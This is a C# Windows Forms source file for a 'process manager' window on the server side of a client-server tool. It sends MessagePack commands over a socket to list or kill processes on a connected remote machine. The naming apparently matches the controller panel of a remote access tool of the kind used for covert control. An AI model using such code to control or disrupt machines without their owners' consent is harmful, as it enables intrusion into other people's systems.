using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading; using System.Threading.Tasks; using System.Windows.Forms; using Server.MessagePack; using Server.Sockets; namespace Server.Forms { public partial class FormProcessManager : Form { public FormProcessManager() { InitializeComponent(); } public Form1 F { get; set; } internal Clients C { get; set; } private void timer1_Tick(object sender, EventArgs e) { if (!C.ClientSocket.Connected) this.Close(); } private async void killToolStripMenuItem_Click(object sender, EventArgs e) { if (listView1.SelectedItems.Count > 0) { foreach (ListViewItem P in listView1.SelectedItems) { await Task.Run(() => { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "processManager"; msgpack.ForcePathObject("Option").AsString = "Kill"; msgpack.ForcePathObject("ID").AsString = P.SubItems[lv_id.Index].Text; ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); }); } } } private async void refreshToolStripMenuItem_Click(object sender, EventArgs e) { await Task.Run(() => { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "processManager"; msgpack.ForcePathObject("Option").AsString = "List"; ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); }); } } }